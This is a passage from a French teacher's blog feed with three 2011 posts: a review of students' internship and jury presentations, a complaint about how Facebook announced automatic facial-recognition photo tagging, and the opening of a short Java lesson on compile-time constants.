&lt;/div&gt;</content></entry><entry><title>Présentation de stages et autres jurys</title><link href="http://blog.namok.be/2011-06-20-Presentation-de-stages-et-autres-jurys.html" rel="alternate"/><published>2011-06-20T00:00:00+02:00</published><updated>2011-06-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-06-20:/2011-06-20-Presentation-de-stages-et-autres-jurys.html</id><summary type="html">Présentation de stages et autres jurys</summary><content type="html">&lt;p&gt;C&amp;rsquo;est la fin de l&amp;rsquo;année et avec elle le temps de examens… mais on s&amp;rsquo;en fout ;-)&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est aussi le temps des présentations de stage des gars de &lt;em&gt;BAC info&lt;/em&gt; (dernière année à l&amp;rsquo;&lt;a href="http://heb.be/esi"&gt;ÉSI&lt;/a&gt;, de &lt;em&gt;SEC&lt;/em&gt; (année de spécialisation en sécurité à l&amp;rsquo;&lt;a href="http://heb.be/esi"&gt;ÉSI&lt;/a&gt; toujours) ou de &lt;em&gt;BAC infographie&lt;/em&gt; (dernière année à l&amp;rsquo;&lt;a href="http://epse.be/"&gt;ÉPSE&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Et si souvent on est découragé par les abandons en première et en deuxième (plus fréquemment depuis la notion de réussite à 48 ECTS), on se retrouve remotivé par les réussites en troisième. Surtout que nos étudiants de &lt;em&gt;BAC infos&lt;/em&gt; et &lt;em&gt;4&lt;sup&gt;e&lt;/sup&gt; sécurité&lt;/em&gt; ont pour la plupart déjà trouvé du travail.&lt;/p&gt;
&lt;p&gt;Alors qu&amp;rsquo;a-t-on entendu ces derniers jours ?&lt;/p&gt;
&lt;h3&gt;Bac info&lt;/h3&gt;
&lt;p&gt;Nos troisièmes en info ont fait pas mal de travail et leurs présentations étaient pour la plupart très correctes et intéressantes. Les exposés font ressortir l&amp;rsquo;apport que nos étudiants pour les entreprises qui les accueillent et le bond en avant qu&amp;rsquo;ils font face à cette expérience…&lt;/p&gt;
&lt;p&gt;Il y a tous ceux qui ont fait de l&amp;rsquo;installation/configuration/paramétrisation de &lt;em&gt;softs&lt;/em&gt; (service divers et &lt;em&gt;monitoring&lt;/em&gt;); &lt;a href="http://asterix.org/"&gt;Astérix&lt;/a&gt;, &lt;a href="http://squid-cache.org/"&gt;Squid&lt;/a&gt;, &lt;a href="http://nagios.org/"&gt;Nagios&lt;/a&gt;, &lt;a href="http://zabbix.com/"&gt;Zabbix&lt;/a&gt; , &lt;a href="http://openerp.org/"&gt;openERP&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Il y a ceux qui ont fait des &lt;em&gt;applications de gestion&lt;/em&gt; dans différents langages; PHP, Java, C#,… c&amp;rsquo;est-à-dire des applications &lt;em&gt;standalone&lt;/em&gt;, souvent avec un accès à une BD (base de données), permettant de &amp;ldquo;gérer quelque chose&amp;rdquo;. Par exemple,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une application pour la gestion d&amp;rsquo;un laboratoire de préparation de médicament (recevoir la commande, encoder, lier au patient, générer une étiquette, envoyer)&lt;/li&gt;
&lt;li&gt;gestion d&amp;rsquo;un parc informatique (quelles machines avec quel matériel se trouvent où,… )&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Certains ont fait des applications &lt;em&gt;industrielles&lt;/em&gt;. Ces applications demandent de pouvoir récupérer/manipuler un signal externe (une télécommande de porte, images de caméras, commande d&amp;rsquo;un four,…).&lt;/p&gt;
&lt;p&gt;Deux de nos étudiants se s&amp;rsquo;ont essayé à la programmation sur &lt;a href="http://apple.com/ipad"&gt;iPad&lt;/a&gt; (avec découverte du &lt;em&gt;monde Apple&lt;/em&gt; et de ses exigences) (&lt;a href="http://bephoto.be/"&gt;BePhoto&lt;/a&gt;) et sur &lt;a href="http://frandroid.com/"&gt;Androïd&lt;/a&gt; (bientôt (peut-être), &lt;em&gt;Recette 4 saisons&lt;/em&gt; sur l&amp;rsquo;android market).&lt;/p&gt;
&lt;p&gt;En plus des langages, certains &lt;em&gt;frameworws&lt;/em&gt; ou bibliothèques (&lt;em&gt;library&lt;/em&gt;) ont été utilisés. Il faudra que je me penche sur certains d&amp;rsquo;entre eux (mais quand); &lt;a href="http://www.springsource.org/"&gt;Spring&lt;/a&gt; (Java), &lt;a href="http://grails.org/"&gt;Grails&lt;/a&gt;, &lt;a href="http://www.fpdf.org/"&gt;FPD&lt;/a&gt; (PHP), &lt;a href="http://jpgraph.net/"&gt;jpGraph&lt;/a&gt; (PHP),… (la liste n&amp;rsquo;est pas exhaustive, c&amp;rsquo;est simplement ce que j&amp;rsquo;ai retenu et qui pourraient m&amp;rsquo;intéresser).&lt;/p&gt;
&lt;h3&gt;Quatrième sécurité&lt;/h3&gt;
&lt;p&gt;En quatrième sécurité, je n&amp;rsquo;ai pas assisté à toutes les présentations. Mon avis est donc incomplet. J&amp;rsquo;ai cependant trouvé que la qualité des présentations était moindre par rapport aux étudiants de troisième. On aurait pu croire qu&amp;rsquo;une certaines habitude des présentations (simplement car ils ont déjà un bac) aurait été un plus mais en fait les étudiants ont tendance à être plus à l&amp;rsquo;aise (peut-être moins stressés car moins d&amp;rsquo;enjeu) ce qui donne une présentation de moins bonne qualité.&lt;/p&gt;
&lt;p&gt;Hormis la présentation, les sujets étaient, par contre, très intéressants…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Puces RFID et attaque par relais (&lt;a href="http://fr.wikipedia.org/wiki/Attaque_par_relais"&gt;Wikipédia&lt;/a&gt; &lt;a href="http://ditwww.epfl.ch/SIC/SA/SPIP/Publications/spip.php?article1137"&gt;Article explicatif&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;)&lt;/li&gt;
&lt;li&gt;Supervision de réseaux (mie en place de &lt;a href="http://nagios.org/"&gt;Nagios&lt;/a&gt; et &lt;a href="http://snort.org/"&gt;Snort&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Audit de sécurité (&lt;a href="http://www.tenable.com/products/nessus/nessus-product-overview"&gt;Nessus&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Une présentation sur le protocole 802.1X qui permet, pour les cartes réseaux le supportant, l&amp;rsquo;authentification de machine sur un réseau avec attribution d&amp;rsquo;un &lt;em&gt;vlan&lt;/em&gt; particulier (&lt;a href="http://en.wikipedia.org/wiki/IEEE_802.1X"&gt;Wikipedia&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;La sécurité en Java (Obfuscation de code, décompilation (&lt;a href="http://www.varaneckas.com/jad"&gt;JAD&lt;/a&gt;), signature de jar, JASS (&lt;a href="http://www.jaasbook.com/"&gt;JASS book&lt;/a&gt; &lt;a href="http://www.oracle.com/technetwork/articles/javase/jaasv2-137221.html"&gt;Oracle&lt;/a&gt;),…)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref que du bon en termes de sujets abordés .. ceci augure un bon avenir pour cette année de spécialisation en sécurité. Le monde professionnel semble également bien réceptif. Il semble que la réussite de cette année soit un &lt;strong&gt;plus&lt;/strong&gt; sur le CV.&lt;/p&gt;
&lt;h3&gt;Bac infographie&lt;/h3&gt;
&lt;p&gt;Dans un tout autre domaine, le jury de fin de &lt;em&gt;BAC infographie&lt;/em&gt; s&amp;rsquo;est déroulé la semaine dernière à l&amp;rsquo;&lt;a href="http://epse.be/"&gt;ÉPSE&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; et les présentations de stages n&amp;rsquo;ont rien à voir ^^. En effet, les cours sont; &lt;em&gt;compo&lt;/em&gt; (il faut comprendre &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; utilisation d&amp;rsquo;un &lt;em&gt;soft&lt;/em&gt; d&amp;rsquo;&lt;a href="http://adobe.com/"&gt;Adobe&lt;/a&gt;, &lt;a href="http://www.adobe.com/products/aftereffects.html"&gt;AfterEffect&lt;/a&gt;, permettant la &amp;ldquo;retouche&amp;rdquo; et l&amp;rsquo;ajout d&amp;lsquo;&amp;ldquo;effets&amp;rdquo; sur une vidéo), &lt;em&gt;3D&lt;/em&gt; (la c&amp;rsquo;est l&amp;rsquo;utilisation de &lt;a href="http://usa.autodesk.com/3ds-max/"&gt;Autodesk 3ds Max&lt;/a&gt;, un &lt;em&gt;soft&lt;/em&gt; de modélisation 3D)… et &lt;em&gt;PHP&lt;/em&gt; (le titre exact, c&amp;rsquo;est animation interactive et multimédia).&lt;/p&gt;
&lt;p&gt;Donc pour ce jury, rien à comprendre, il suffit de regarder… et c&amp;rsquo;est souvent beau ! Des extraits &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;…&lt;/p&gt;
&lt;p&gt;Valentin en &lt;em&gt;3D&lt;/em&gt; nous fait un rappel de &lt;a href="http://www.allocine.fr/film/fichefilm_gen_cfilm=16463.html"&gt;The Big Lebowski&lt;/a&gt; et en &lt;em&gt;compo&lt;/em&gt; un p&amp;rsquo;tit court métrage&lt;/p&gt;
&lt;iframe src="https://player.vimeo.com/video/25337014?h=1e98b95472" width="640" height="360" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href="https://vimeo.com/25337014"&gt;Coen Tribute - The Big Lebowski&lt;/a&gt; from &lt;a href="https://vimeo.com/valentinapache"&gt;APACHE&lt;/a&gt; on &lt;a href="https://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;

&lt;iframe src="https://player.vimeo.com/video/23635169?h=6722cb0f29" width="640" height="360" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href="https://vimeo.com/23635169"&gt;BLACK WAX&lt;/a&gt; from &lt;a href="https://vimeo.com/valentinapache"&gt;APACHE&lt;/a&gt; on &lt;a href="https://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Des travaux très bien fait me permettant d&amp;rsquo;oublier que &lt;em&gt;PHP c&amp;rsquo;est pas leur truc&lt;/em&gt;… quoique Charles est arrivé au bout du projet et s&amp;rsquo;en sort très bien &lt;a href="http://www.rles.biz/csc/"&gt;CleanShowcase&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il faudra faire une &lt;strong&gt;évaluation de l&amp;rsquo;année&lt;/strong&gt; mais je me pose déjà pas mal de questions pour le cours de PHP.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;J&amp;rsquo;ai reçu un programme que je dois suivre mais je constate que c&amp;rsquo;est difficile (parfois c&amp;rsquo;est de la mauvaise volonté aussi) pour pas mal d&amp;rsquo;étudiants.&lt;/li&gt;
&lt;li&gt;Il y a beaucoup de concepts à assimiler (client/serveur, base de données, langage PHP) et c&amp;rsquo;est un retour à l&amp;rsquo;&lt;strong&gt;écrit&lt;/strong&gt; &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Les infographistes du XXI siècle sont-ils encore amenés à écrire du &lt;a href="http://php.net/"&gt;PHP&lt;/a&gt; ? Soit j&amp;rsquo;ai un &amp;ldquo;gros&amp;rdquo; site et c&amp;rsquo;est un informaticien qui code, soit c&amp;rsquo;est un &amp;ldquo;petit&amp;rdquo; site… et je vais utiliser une plateforme existante (&lt;a href="http://dotclear.org/"&gt;Dotclear&lt;/a&gt;, &lt;a href="http://wordpress.org/"&gt;Wordpress&lt;/a&gt;, &lt;a href="http://joomla.org/"&gt;Joomla&lt;/a&gt;,…) qu&amp;rsquo;il me suffira d&amp;rsquo;habiller (et ça c&amp;rsquo;est leur métier).&lt;/li&gt;
&lt;li&gt;C&amp;rsquo;est difficile pour moi de leur demander des choses &amp;ldquo;plus simples&amp;rdquo; &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;(Si des infographistes bien installés passent par ici, qu&amp;rsquo;ils me donnent leur avis: &amp;ldquo;&lt;em&gt;Quel niveau d&amp;rsquo;attente avez-vous par rapport à des infographistes ?&lt;/em&gt;&amp;rdquo;)&lt;/p&gt;
&lt;h3&gt;Les vidéastes&lt;/h3&gt;
&lt;p&gt;Ce jury était également l&amp;rsquo;occasion de voir les travaux des étudiants &lt;strong&gt;vidéastes&lt;/strong&gt; &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Jonas nous présente une chouette réflexion sur l&amp;rsquo;argent. (lien mort)&lt;/p&gt;
&lt;p&gt;Voilà voilà… pas de conclusion ;-)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;À lire aussi&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2010-11-04-Prolongation-de-session-c-est-pas-conge.html"&gt;Prolongation de session, c&amp;rsquo;est pas congé&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-08-26-Mise-a-jour-du-site-a-destination-des-etudiants.html"&gt;Mise à jour du site à destination des étudiants&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-06-04-evaluation-des-outils-web-mis-a-la-disposition-des-etudiants.html"&gt;Évaluation des outils web mis à la disposition des étudiants&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;… d&amp;rsquo;où proviennent probablement les images de la présentation ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;L&amp;rsquo; école de promotion sociale d&amp;rsquo;Enghien dans laquelle je donne un (très petit) cours de PHP.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;C&amp;rsquo;est du moins ce que moi je comprend ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Je n&amp;rsquo;ai que les vidéos que je trouve sur Viméo… Si d&amp;rsquo;autres veulent s&amp;rsquo;ajouter (Jean-Louis ?)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;On écrit le code PHP tandis que l&amp;rsquo;on paramètre, utilise la souris,… dans les cours de &lt;em&gt;compo&lt;/em&gt; et de &lt;em&gt;3D&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Je demande une authentification et boum ! Il faut utiliser; &lt;em&gt;cookie&lt;/em&gt;, sessions et formulaires… ce qui suffit à en perdre la plupart&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Nouvelle formation proposée par &lt;a href="http://www.epse.be/videoinfo.html"&gt;l&amp;rsquo;ÉPSE&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Facebook et reconnaissance faciale</title><link href="http://blog.namok.be/2011-06-14-Facebook-et-reconnaissance-faciale.html" rel="alternate"/><published>2011-06-14T00:00:00+02:00</published><updated>2011-06-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-06-14:/2011-06-14-Facebook-et-reconnaissance-faciale.html</id><summary type="html">Facebook et reconnaissance faciale</summary><content type="html">&lt;p&gt;Comme beaucoup (&lt;a href="http://www.socialbakers.com/blog/171-facebook-is-globally-closing-in-to-700-million-users/"&gt;700 millions d&amp;rsquo;utilisateurs&lt;/a&gt;) j&amp;rsquo;utilise &lt;a href="https://facebook.com/"&gt;Facebook&lt;/a&gt;. Argh !&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;utilisation de chacun semble avoir évolué dernièrement et je distingue (dans mes contacts) ceux qui ont réduit leur utilisation à &lt;strong&gt;un partage de status&lt;/strong&gt; principalement et ceux qui en ont une utilisation jeux et &lt;em&gt;mauvais lien&lt;/em&gt; ! J&amp;rsquo;appelle &lt;em&gt;mauvais liens&lt;/em&gt; les liens vers des médias (souvent des vidéos) qui imposent, pour que l&amp;rsquo;on puisse les visionner, que l&amp;rsquo;on partage l&amp;rsquo;info. On pourrait appeler cela des &lt;strong&gt;vidéos virales&lt;/strong&gt;. Si les utilisateurs ne réagissent pas (en ne cliquant plus sur ces liens), j&amp;rsquo;ai bien peur que ça pourrisse littéralement Facebook. Ce qui serait dommage car pour moi, Facebook est un bon moyen de garder le contact avec mes amis moins proches (les autres, je les vois physiquement) et mes étudiants. Ceci dit, je peux faire la même chose (et je préfère peut-être) via; &lt;a href="http://linkedin.com/"&gt;LinkedIn&lt;/a&gt; et &lt;a href="http://twitter.com/"&gt;Twitter&lt;/a&gt; / &lt;a href="http://identi.ca/"&gt;identi.ca&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tips&lt;/strong&gt; Lorsque vous voulez absolument voir une &lt;strong&gt;vidéo virale&lt;/strong&gt; (&lt;a href="http://www.cest-bon-ca.fr/showVideo.php?v=196"&gt;par exemple&lt;/a&gt; ), regardez les mots clés visibles dans la présentation et recherchez-là sur &lt;a href="http://dailymotion.com/"&gt;Dailymotion&lt;/a&gt; ou &lt;a href="http://youtube/"&gt;Youtube&lt;/a&gt;… et si vous aimez ce genre de vidéos, n&amp;rsquo;hésitez pas à aller perdre quelques heures (attention ça va vite) sur des sites comme &lt;a href="http://2leep.com/"&gt;2leep&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bref, mon propos d&amp;rsquo;aujourd&amp;rsquo;hui est induit par l&amp;rsquo;&lt;a href="http://www.rtbf.be/info/medias/detail_dorenavant-facebook-vous-reconnait-sur-toutes-les-photos?id=6239233"&gt;article de J.C&lt;/a&gt; parlant de &lt;strong&gt;reconnaissance faciale&lt;/strong&gt;. Il semblerait donc que Facebook ait introduit une nouvelle &lt;em&gt;feature&lt;/em&gt; et… il &lt;strong&gt;ne nous a pas informé&lt;/strong&gt; ;-)&lt;/p&gt;
&lt;p&gt;La nouvelle fonctionnalité permet de &lt;em&gt;taguer&lt;/em&gt; (presque) automatiquement ses amis sur les photos que l&amp;rsquo;on dépose sur Facebook (ai-je déjà dit qu&amp;rsquo;il y a d&amp;rsquo;autres moyens de partager des photos ? ) et ça peut inquiéter. Très rapidement, alors qu&amp;rsquo;avant il fallait taguer individuellement chaque photo sur laquelle se trouve un &lt;em&gt;ami&lt;/em&gt;, il suffit maintenant de laisser faire le logiciel de reconnaissance faciale et de cliquer sur &lt;strong&gt;Sauvegarder&lt;/strong&gt;… ce qui aura pour effet de taguer en une fois &lt;strong&gt;toutes&lt;/strong&gt; les photos sur lesquelles se trouve l&amp;rsquo;ami en question.&lt;/p&gt;
&lt;p&gt;Outre le fait que toutes les photos ajoutées sur Facebook sont passées à la reconnaissance faciale, je me demande comment être informé des changements qu&amp;rsquo;effectue Facebook…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&amp;hellip; Je m&amp;rsquo;abonne au flux RSS du &lt;a href="https://blog.facebook.com/"&gt;blog Facebook&lt;/a&gt;…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;ai vu passer l&amp;rsquo;info (par le biais d&amp;rsquo;un ami Facebook) je me suis demandé comment J.C avait trouvé cette info car je suis abonné au &lt;a href="https://blog.facebook.com/atom.php"&gt;flux RSS&lt;/a&gt; du &lt;a href="https://blog.facebook.com/"&gt;blog Facebook&lt;/a&gt; relatant les dernière nouveautés.&lt;/p&gt;
&lt;p&gt;Si je regarde le blog, je vois que le dernier article (&lt;a href="https://blog.facebook.com/blog.php?post=10150159110592131"&gt;Deals, better with friends&lt;/a&gt;) date du 26 avril (le flux RSS me donne la même info). Si je regarde d&amp;rsquo;un peu plus près, je vois qu&amp;rsquo;un article, datant du 15 déçembre a été mis à jour le 7 juin… &lt;em&gt;yes ! I find it !&lt;/em&gt;. &lt;a href="http://blog.facebook.com/blog.php?post=467145887130"&gt;L&amp;rsquo;info est là, &amp;lsquo;&amp;rsquo;Making Photo Tagging Easier&amp;rsquo;&amp;lsquo;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ceci dit, l&amp;rsquo;info n&amp;rsquo;est toujours pas tombée dans mon flux RSS, bien que la date aie été changée quelques jours plus tard (aujourd&amp;rsquo;hui, le 14 juin, le &lt;em&gt;post&lt;/em&gt; est daté au 9 juin et apparait premier). Si l&amp;rsquo;on veut être informé, il ne suffit donc pas de suivre les nouvelles du blog, il faut regardez si de vieux &amp;lsquo;posts&amp;rsquo;&amp;rsquo; n&amp;rsquo;ont pas été mis à jour :-(&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&amp;hellip; ceci ne va pas dans le sens de la communication…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;(Pour ceux qui veulent savoir comment désactiver ça, il faut comme d&amp;rsquo;habitude aller revoir ses paramètres de confidentialité et décocher une case permettant de &lt;em&gt;Suggérer à mes amis les photos où j&amp;rsquo;apparais&lt;/em&gt; ^^)&lt;/p&gt;</content></entry><entry><title>Utilisation de constantes en Java</title><link href="http://blog.namok.be/2011-03-28-Utilisation-de-constantes-en-Java.html" rel="alternate"/><published>2011-03-28T00:00:00+02:00</published><updated>2011-03-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-03-28:/2011-03-28-Utilisation-de-constantes-en-Java.html</id><summary type="html">Utilisation de constantes en Java</summary><content type="html">&lt;p&gt;Lorsque je veux utiliser plusieurs fois la même valeur dans un code, plutôt que d&amp;rsquo;écrire à chaque fois sa valeur littérale (exemple, 42), je déclare une constante (exemple, &lt;code&gt;N&lt;/code&gt;) à laquelle j&amp;rsquo;associe la valeur qui m&amp;rsquo;intéresse.&lt;/p&gt;
&lt;p&gt;Partout dans le code, une occurrence de &lt;code&gt;N&lt;/code&gt; sera remplacée par 42.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lorsque l&amp;rsquo;on utilise une constante dans une classe, que fait le compilateur &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; lorsqu&amp;rsquo;il génère le &lt;em&gt;bytecode&lt;/em&gt; ? Comment &amp;ldquo;remplace-t-il&amp;rdquo; toutes les occurrences de &lt;code&gt;N&lt;/code&gt; par &lt;code&gt;42&lt;/code&gt; ?&lt;/p&gt;
&lt;p&gt;Cette question provient du fait que la syntaxe permettant l&amp;rsquo;écriture d&amp;rsquo;une constante en java est la même, au mot clé &lt;code&gt;final&lt;/code&gt; près que pour l&amp;rsquo;écriture d&amp;rsquo;une variable… alors…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;N&lt;/code&gt; est définie comme étant une variable constante. Comme telle, je peux y faire appel (un appel au &lt;em&gt;runtime&lt;/em&gt;) dans mon code et obtenir sa valeur mais je ne peux pas la modifier. Chaque occurrence de &lt;code&gt;N&lt;/code&gt; dans mon code mettra en œuvre le mécanisme de consultation d&amp;rsquo;une variable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N&lt;/code&gt; représente une constante, je sais (et mon compilateur aussi) que cette valeur sera la même pendant toute l&amp;rsquo;exécution du code. Je ne dois donc pas consulter sa valeur à chaque fois que je la rencontre. Je peux donc remplacer cette variable par sa valeur lorsque je (le compilateur) génère le &lt;em&gt;bytecode&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est ce deuxième choix qui est fait par le compilateur.&lt;/p&gt;
&lt;p&gt;Soient les deux codes suivants&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Constant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Constante: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Constant&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;N&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Essayez la manip suivante&lt;/p&gt;
&lt;ul&gt;
